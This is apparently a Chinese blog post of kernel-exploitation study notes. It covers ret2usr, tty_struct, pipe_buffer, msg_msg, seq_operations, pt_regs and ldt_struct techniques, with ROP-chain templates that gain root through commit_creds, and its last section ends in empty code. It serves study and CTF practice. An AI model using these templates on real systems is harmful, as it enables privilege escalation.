0%

kernel attack(持续更新)

ret2usr

核心:利用 commit_creds(prepare_kernel_cred(0)) 进行提取

原理:该方式会自动生成一个合法的 cred,并定位当前线程的 task_struct 的位置,然后修改它的 cred 为新的 cred

当已知 commit_creds 和 prepare_kernel_cred 的函数地址时,用如下代码进行提权:

1
2
3
4
5
6
void get_root() 
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
  • 注意:“prepare_kernel_cred”和“commit_creds”都是地址,需要用函数指针执行

对于这两个函数的地址,可以在 “/proc/kallsyms-内核符号表” 中找到,提供以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;

size_t find_symbols() /* 收集必要信息 */
{
FILE* kallsyms_fd = fopen("/proc/kallsyms", "r");

if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;

if(strstr(buf, "commit_creds") && !commit_creds)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
  • 注意:如果在 init 文件中看到如下代码,就不能通过 /proc/kallsyms 查看函数地址了
1
echo 1 > /proc/sys/kernel/kptr_restrict # 设置kptr_restrict为'1'

如果开启了 smep,则需要使用 mov cr4, 0x1407e0 关闭 smep

tty_struct attack

open("/dev/ptmx", O_RDWR) 时会分配这样一个结构体:tty_struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* size:0x2e0(kmalloc-0x400) */
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
  • ops:指向 ptm_unix98_ops,因此它可能会泄漏(可以绕过 Kaslr)
  • ops:可以覆写执行任意函数

另一个很有趣的结构体:tty_operationstty_struct[4]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
  • 全是函数指针,每一个都可以用来劫持
  • 劫持过后,就可以通过调用对应的函数来执行我们想要的代码了

conditional competition

条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的

条件竞争需要如下的条件:

  • 并发,即至少存在两个并发执行流:
    • 这里的执行流包括线程,进程,任务等级别的执行流
  • 共享对象,即多个并发流会访问同一对象:
    • 常见的共享对象有共享内存,文件系统,信号,一般来说,这些共享对象是用来使得多个程序执行流相互交流
    • 此外,我们称访问共享对象的代码为临界区,在正常写代码时,这部分应该加锁
  • 改变对象,即至少有一个控制流会改变竞争对象的状态:因为如果程序只是对对象进行读操作,那么并不会产生条件竞争

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>

int counter;
void* IncreaseCounter(void* args) {
counter += 1;
sleep(0.1);
printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(), counter);
}

int main() {
pthread_t p[10];
for (int i = 0; i < 10; ++i) {
pthread_create(&p[i], NULL, IncreaseCounter, NULL);
}
for (int i = 0; i < 10; ++i) {
pthread_join(p[i], NULL);
}
return 0;
}

创建10个线程,常理说应该线程应该按从小到大的顺序输出相应顺序的数字,但是由于 counter 是全局共享的资源,在 race window 的间隙里面可能多个线程对 counter 进行写、读操作,导致输出结果很难预料,如下: (多次尝试的结果还不同)

1
2
3
4
5
6
7
8
9
10
11
12
exp gcc test.c -o test -pthread
exp ./test
Thread -967665920 has counter value 10
Thread -1043200256 has counter value 10
Thread -1034807552 has counter value 10
Thread -976058624 has counter value 10
Thread -1026414848 has counter value 10
Thread -984451328 has counter value 10
Thread -992844032 has counter value 10
Thread -1009629440 has counter value 10
Thread -1001236736 has counter value 10
Thread -1018022144 has counter value 10
1
2
3
4
5
6
7
8
9
10
11
exp ./test
Thread 1636828928 has counter value 5
Thread 1586472704 has counter value 10
Thread 1594865408 has counter value 10
Thread 1603258112 has counter value 10
Thread 1569687296 has counter value 10
Thread 1578080000 has counter value 10
Thread 1628436224 has counter value 5
Thread 1645221632 has counter value 5
Thread 1611650816 has counter value 6
Thread 1620043520 has counter value 8

pipe trick

pipe 的读和写没有专门的函数,直接使用 write 和 read 操作之前 pipe 返回的文件描述符即可,pipefd[1] 用来写,pipefd[0] 用来读

结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct pipe_inode_info {
wait_queue_head_t wait; /* 等待队列,用于存储正在等待管道可读或者可写的进程 */
unsigned int nrbufs; /* 表示未读数据已经占用了环形缓冲区的多少个内存页 */
unsigned int curbuf; /* 表示当前正在读取环形缓冲区的哪个内存页中的数据 */
...
unsigned int readers; /* 表示正在读取管道的进程数 */
unsigned int writers; /* 表示正在写入管道的进程数 */
unsigned int waiting_writers; /* 表示等待管道可写的进程数 */
...
struct inode *inode; /* 与管道关联的inode对象 */
struct pipe_buffer bufs[16]; /* 管道缓冲区 */
};

struct pipe_buffer {
struct page *page; /* 指向包含管道缓冲区数据的页面 */
unsigned int offset, len; /* 页面内数据的偏移量,长度 */
const struct pipe_buf_operations *ops; /* 与此缓冲区关联的操作 */
unsigned int flags; /* 管道缓冲区标志 */
unsigned long private; /* 运维人员拥有的私有数据 */
};

关于这个 pipe_buffer,有个小 trick:

  • 使用 write(pfd[1],buf,0x100),就是使用管道传输信息
    • write(pfd[1],buf,0x100) 执行之前,offset = 0,len = 0
    • write(pfd[1],buf,0x100) 执行之后,offset = 0,len = 0x100
  • offset 和 len 都是4字节数据,如果把它们拼在一起,凑成8字节,就是 0x10000000000
  • 如果我们用 UAF,使其 pipe_buffer 和另一个结构体重合,那么该结构体对应位置也会变为 0x10000000000
  • 如果该结构体与内存管理有关,并且该位表示 size 的话,就可以造成堆溢出

subprocess_info attack

使用以下语句:

1
socket(22, AF_INET, 0);

会触发 struct subprocess_info 这个对象的分配,此结构为0x60大小,定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* size:0x60(kmalloc-128) */
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
  • work.func:指向 call_usermodehelper_exec_work,可以泄露内核地址
  • cleanup:条件竞争控制这里可以执行任意函数

此对象在分配时最终会调用 cleanup 函数,如果我们能在分配过程中把 cleanup 指针劫持为我们的 gadget,就能控制RIP,劫持的方法显而易见,即条件竞争

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void *race(void *arg) 
{
unsigned long *info = (unsigned long*)arg;
info[0] = (u_int64_t)xchg_eax_esp;

u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);
printf("[+] hijacked_stack: %p\n", (char *)hijacked_stack_addr);

char* fake_stack = NULL;
if((fake_stack = mmap((char*)((hijacked_stack_addr & (~0xfff))),0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED)
perror("mmap");
printf("[+] fake_stack addr: %p\n", fake_stack);

fake_stack[0]=0;
u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;
int index = 0;
hijacked_stack_ptr[index++] = pop_rdi;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = prepare_kernel_cred;
hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = 0;
hijacked_stack_ptr[index++] = commit_creds;
hijacked_stack_ptr[index++] = swapgs;
hijacked_stack_ptr[index++] = iretq;
hijacked_stack_ptr[index++] = (u_int64_t)getshell;
hijacked_stack_ptr[index++] = user_cs;
hijacked_stack_ptr[index++] = user_rflags;
hijacked_stack_ptr[index++] = user_rsp;
hijacked_stack_ptr[index++] = user_ss;
while(1) {
write(fd, (void*)info,0x20);
if (race_flag) break;
}
return NULL;
}
  • 这些 gadget 都可以通过 ropper 来找
  • commit_creds,prepare_kernel_cred 可以通过 grep <symbol_name> /proc/kallsyms 来找(记得开 root,关闭 kernel ASLR)
  • 而 user_cs 这些寄存器的值,可以通过 save_status 来获取

msg_msg leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* size:0x28(kmalloc-*) */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security; /* the actual message follows immediately */
};

struct msg_queue {
struct kern_ipc_perm q_perm;
time64_t q_stime; /* last msgsnd time */
time64_t q_rtime; /* last msgrcv time */
time64_t q_ctime; /* last change time */
unsigned long q_cbytes; /* current number of bytes on queue */
unsigned long q_qnum; /* number of messages in queue */
unsigned long q_qbytes; /* max number of bytes on queue */
struct pid *q_lspid; /* pid of last msgsnd */
struct pid *q_lrpid; /* last receive pid */

struct list_head q_messages;
struct list_head q_receivers;
struct list_head q_senders;
} __randomize_layout;

当我们在一个消息队列上发送多个消息时,会形成如下结构:(msg 双向链表)

  • 去除掉 msg_msg 结构体本身的 0x30 字节的部分(或许可以称之为 header)剩余的部分都用来存放用户数据
  • 因此内核分配的 object 的大小是跟随着我们发送的 message 的大小进行变动的

而当我们单次发送大于 [一个页面大小 - header size] 大小的消息时,内核会额外补充添加 msg_msgseg 结构体(只有一个 next 指针),其与 msg_msg 之间形成如下单向链表结构:

  • 同样地,单个 msg_msgseg 的大小最大为一个页面大小,因此超出这个范围的消息内核会额外补充上更多的 msg_msgseg 结构体
  • 在读取 msg_msg 中的数据时,如果 msg_msg->next 不为空,程序就会把 msg_msg->next 指向的内容也当做是 msg_msg data 的一部分,如果 msg_msgseg->next 还不为空,就会继续读取 msg_msgseg->next 指向的内容

利用-内核地址泄露:

  • 在拷贝数据时对长度的判断主要依靠的是 msg_msg->m_ts,若是我们能够控制一个 msg_msg 的 header,将其 msg_msg->m_ts 成员改为一个较大的数,我们就能够越界读取出最多将近一张内存页大小的数据
  • 若是我们能够同时劫持 msg_msg->m_tsmsg_msg->next,我们便能够完成内核空间中的任意地址读(msg_msg->next 指向的数据也会被当做 msg_msg data
    • 但这个方法有一个缺陷,无论是 MSG_COPY 还是常规的接收消息,其拷贝消息的过程的判断主要依据还是单向链表的 next 指针,因此若我们需要完成对特定地址向后的一块区域的读取,我们需要保证该地址的数据为 NULL

相关接口:

1
2
3
4
5
6
7
8
9
10
11
// 创建和获取ipc内核对象
int msgget(key_t key, int flags);

// 将消息发送到消息队列
int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg);

// 从消息队列获取消息
ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);

// 查看、设置、删除ipc内核对象(用法和shmctl一样)
int msgctl(int msqid, int cmd, struct msqid_ds *buf);
  • msqid:消息队列的标识符,代表要从哪个消息列中获取消息
  • msgp: 存放消息结构体的地址(需要自己定义:long type+char data[n]
  • msgsz:消息正文的字节数
  • msgtyp:消息的类型,可以有以下几种类型:
    • msgtyp = 0:返回队列中的第一个消息
    • msgtyp > 0:返回队列中消息类型为 msgtyp 的消息(常用)
    • msgtyp < 0:返回队列中消息类型值小于或等于 msgtyp 绝对值的消息,如果这种消息有若干个,则取类型值最小的消息
  • msgflg:函数的控制属性,其取值如下:
    • 0:msgrcv() 调用阻塞直到接收消息成功为止
    • MSG_NOERROR:若返回的消息字节数比 nbytes 字节数多,则消息就会截短到 nbytes 字节,且不通知消息发送进程
    • MSG_COPY:读取但不释放,当我们在调用 msgrcv 接收消息时,相应的 msg_msg 链表便会被释放,当我们在调用 msgrcv 时若设置了 MSG_COPY 标志位,则内核会将 message 拷贝一份后再拷贝到用户空间,原双向链表中的 message 并不会被 unlink
    • IPC_NOWAIT:调用进程会立即返回,若没有收到消息则立即返回 -1

PS:msg_msg 常常和 sk_buff 进行连用

pipe_buffer leak+attack

pipe_buffer leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* size:0x28*0x10(kmalloc-0x400) */
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
  • 当我们创建一个管道时,在内核中会生成数个连续的 pipe_buffer 结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object
  • pipe_buffer 中存在一个函数表成员 pipe_buf_operations ,其指向内核中的函数表 anon_pipe_buf_ops,若我们能够将其读出,便能泄露出内核基址

pipe_buffer attack

当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buf_operations->release 这一指针,可以把它覆盖为 shellcode

参考模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
pipe_buf_ptr->page = *(uint64_t*) "yhellow";
pipe_buf_ptr->ops = victim_addr + 0x100;

ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100]; /* 伪造的pipe_buf_operations */
ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset; /* 伪造的pipe_buf_operations->release */

rop_idx = 0;
rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = *(uint64_t*) "yhellow";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;

if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);
printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO);
sleep(5);

for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}

shm_file_data leak+attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* size:0x20(kmalloc-32) */
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
#define shm_file_data(file) (*((struct shm_file_data **)&(file)->private_data))

static const struct vm_operations_struct shm_vm_ops = {
.open = shm_open, /* callback for a new vm-area open */
.close = shm_close, /* callback for when the vm-area is released */
.fault = shm_fault,
.split = shm_split,
.pagesize = shm_pagesize,
#if defined(CONFIG_NUMA)
.set_policy = shm_set_policy,
.get_policy = shm_get_policy,
#endif
};
  • ns,vm_ops:指向内核数据区域,因此可能发生泄漏(可以绕过 Kaslr)
  • file:文件指向堆区域,因此可能会泄漏 kernel_heapbase
  • vm_ops:可以覆写这里,但在特殊情况下,shmget 不会调用伪造的 vtable 函数指针

shmget:用于 Linux 进程通信(IPC)共享内存,共享内存函数由 shmget、shmat、shmdt、shmctl 四个函数组成

使用案例:

1
2
3
4
5
6
7
8
9
10
int shmid;
if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) {
perror("shmget");
return 1;
}
char *shmaddr = shmat(shmid, NULL, 0);
if (shmaddr == (void*)-1) {
perror("shmat");
return 1;
}

seq_operations leak+attack

1
2
3
4
5
6
7
/* size:0x20(kmalloc-32) */
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • start,stop,next,show:这4个函数都可以泄露 kernel_base
  • start:重写 start 变量并调用 read,就可以成功控制 rip

当我们 read 一个 stat 文件时,内核会调用 proc_ops->proc_read_iter 指针

使用案例:

1
2
int victim = open("/proc/self/stat", O_RDONLY);
read(victim, buf, 1); // call start

pt_regs + seq_operations Bypass KPTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

用以在 Kernel Stack 中保存异常发生时的现场寄存器信息,其具体定义与 CPU 架构相关

  • 在调用 SYSCALL 时,内核会将 pt_regs 结构体压栈
  • PS:内核发生异常时,输出的 debug 信息就是通过 show_regs(regs) 来打印的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
SYM_CODE_START(entry_SYSCALL_64)
UNWIND_HINT_EMPTY

swapgs
/* 将用户栈偏移保存到per-cpu变量rsp_scratch中 */
movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

/* 在栈中倒序构建struct pt_regs */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
pushq %rax /* pt_regs->orig_ax */

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

/* 保存参数到寄存器,调用do_syscall_64函数 */
movq %rax, %rdi
movq %rsp, %rsi
call do_syscall_64 /* returns with IRQs disabled */

/*
如果我们要返回到完全干净的64位用户空间上下文,请尝试使用SYSRET而不是IRET
如果我们不是,请转到缓慢的退出路径
*/
movq RCX(%rsp), %rcx
movq RIP(%rsp), %r11

cmpq %rcx, %r11 /* SYSRET requires RCX == RIP */
jne swapgs_restore_regs_and_return_to_usermode

#ifdef CONFIG_X86_5LEVEL
ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
shl $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
sar $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif

/* 如果这改变了%rcx,它不是规范的 */
cmpq %rcx, %r11
jne swapgs_restore_regs_and_return_to_usermode

cmpq $__USER_CS, CS(%rsp) /* CS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode

movq R11(%rsp), %r11
cmpq %r11, EFLAGS(%rsp) /* R11 == RFLAGS */
jne swapgs_restore_regs_and_return_to_usermode


testq $(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
jnz swapgs_restore_regs_and_return_to_usermode

/* nothing to check for RSP */

cmpq $__USER_DS, SS(%rsp) /* SS must match SYSRET */
jne swapgs_restore_regs_and_return_to_usermode

syscall_return_via_sysret:
/* RCX和R11已经恢复(见上面的代码) */
POP_REGS pop_rdi=0 skip_r11rcx=1

/*
现在,除RSP和RDI之外的所有寄存器都已恢复
保存旧的stack指针并切换到trampoline stack
*/
movq %rsp, %rdi
movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
UNWIND_HINT_EMPTY

pushq RSP-RDI(%rdi) /* RSP */
pushq (%rdi) /* RDI */

/*
我们在trampoline stack上,除RDI之外的所有寄存器都是实时的
我们可以在这里做未来的最终退出工作
*/
STACKLEAK_ERASE_NOCLOBBER

SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

popq %rdi
popq %rsp
USERGS_SYSRET64
SYM_CODE_END(entry_SYSCALL_64)
  • 而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15
  • 这些寄存器为我们布置 ROP 链提供了可能

利用:

  • 通常和 seq_operations 配合使用
  • 使用 __asm__ 操控寄存器,然后在末尾写入一个 syscall 用于调用 read(seq_fd,rsp,8) 以触发 seq_operations->start(需要再此处设置一个类似于 add rsp, xxx; ret; 的 Gadget 来将控制流迁移到我们的 ROP 上)
  • 此时 pt_regs 压栈,同时也将我们布置的 ROP 压栈,seq_operations->start 上的 Gadget 用于完成迁移
  • PS:由于 read(seq_fd,rsp,8) 会破坏我们布置的 pt_regs 结构,因此具体的 ROP 链需要根据调试信息进行微调

ldt_struct RAA + WAA

1
2
3
4
5
struct ldt_struct {
struct desc_struct *entries;
unsigned int nr_entries;
int slot;
};
  • 在局部段描述符表中有许多的段描述符,用 desc_struct 进行描述:
1
2
3
4
5
6
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

RAA

Linux 提供了 modify_ldt 系统调用,用于获取或修改当前进程的 LDT

  • 内核源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount); /* 内核任意地址读 */
break;
case 1:
ret = write_ldt(ptr, bytecount, 1); /* 分配新的ldt_struct结构体 */
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}

return (unsigned int)ret;
}
  • 其中我们可以利用的两个函数就是 read_ldtwrite_ldt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

......

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

......

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}
  • 劫持 mm->context.ldt->entries 就可以实现任意读(ldt_struct->entries
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

......

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries); /* 为新的ldt_struct分配空间 */

......

}

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size;

if (num_entries > LDT_ENTRIES)
return NULL;

new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);

......

}
  • write_ldt 中会调用 alloc_ldt_struct,然后执行一个 kmalloc(可以被 UAF 控制)

利用 modify_ldt 泄露内核地址的思路如下:

  • 申请并释放有 UAF 的堆块
  • 执行 write_ldt,使在 alloc_ldt_struct 中申请的 ldt_struct 填充 UAF 堆块
  • 利用 UAF 控制 ldt_struct->entries,然后使用 read_ldt 把数据读到用户态

在实际的利用中,只能在 ldt_struct->entries 中爆破数据

  • 命中无效的地址:copy_to_user 返回非 0 值,此时 read_ldt 的返回值便是 -EFAULT
  • 命中内核空间:read_ldt 执行成功

但我们不能直接爆破内核基地址,只能先爆破线性映射区 direct mapping area(kmalloc 使用的空间),然后通过 read_ldt 在堆上读取一些可利用的内核指针并泄露内核基地址

  • 通常情况下内核会开启 hardened usercopy 保护,当 copy_to_user 的源地址为内核 .text 段(包括 _stext_etext)时会引起 kernel panic
  • 一般情况下 page_offset_base + 0x9d000 处固定存放着 secondary_startup_64 函数的地址(kernel_base = secondary_startup_64 - 0x40

WAA(不推荐)

利用条件竞争可以在 write_ldt 中实现任意写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
